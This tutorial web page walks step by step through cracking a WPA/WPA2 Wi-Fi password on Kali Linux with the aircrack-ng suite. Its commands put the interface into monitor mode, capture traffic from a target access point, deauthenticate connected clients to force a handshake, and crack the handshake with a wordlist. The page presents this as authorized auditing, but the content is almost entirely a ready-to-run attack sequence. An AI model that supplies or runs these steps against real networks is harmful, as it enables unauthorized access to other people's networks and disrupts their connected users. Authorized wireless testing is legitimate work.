How to Hack WPA/WPA2 WiFi Using Kali Linux?

Last Updated : 8 Aug, 2026

WPA/WPA2 is one of the most widely used Wi-Fi security standards. During an authorized wireless security assessment, a strong wordlist alone is not enough to audit a network's password. The required authentication data must first be captured before it can be analyzed.

Steps to Hack WiFi Using Kali Linux

To hack WiFi using Kali Linux, boot up Kali Linux and pen the terminal window to perform the following steps.

Step 1: ifconfig (interface configuration)

To view or change the configuration of the network interfaces on your system. 

ifconfig
ifconfig-linux-interface-configuration

Step 2: Stop the current processes which are using the WiFi interface. 

airmon-ng check kill
stop-process-which-are-using-wifi-linux

Step 3: To start the wlan0 in monitor mode.

airmon-ng start wlan0
start-interface-linux

Step 4: To view all the Wifi networks around you. 

airodump-ng wlan0mon
view-all-wifi-networks
  • airodump-ng : For packet capturing
  • wlan0mon : Name of the interface (This name can be different on the different devices)
  • Press Ctrl+C to stop the process when you have found the target network.

Step 5: To view the clients connected to the target network. 

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon
view-connected-clients-to-target
  • airodump-ng : For packet capturing
  • -c : Channel
  • --bssid : MAC address of a wireless access point(WAP).
  • -w : The Directory where you want to save the file(Password File).
  • wlan0mon : Name of the interface.

Step 6: Open a new terminal window to disconnect the clients connected to the target network. 

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon
disconnect-clients-connected-to-target
  • aireplay-ng : To inject frames
  • -0 : For deauthentication
  • 10 : No. of deauthentication packets to be sent
  • -a : For the bssid of the target network
  • wlan0mon : Name of the interface.

When the client is disconnected from the target network. He tries to reconnect to the network and when he does you will get something called WPA handshake in the previous window of the terminal.

capturing-WPA-handshake

Now, we are done with capturing the packets. So, now you can close the terminal window.

Step 7. To decrypt the password. Open the Files application.

to-decrypt-password-from-handshake
  • hacking-01.cap is the file you need. 
    aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap
  • aircrack-ng : 802.11 WEP and WPA-PSK keys cracking program
  • -a : -a2 for WPA2 & -a for WPA network
  • -b : The BSSID of the target network
  • -w : Location of the wordlist file
  • /root/hacking-01.cap : Location of the cap file

You can download the file of common passwords from the internet and if you want to create your own file then you can use the crunch tool.

wifi-password-cracked
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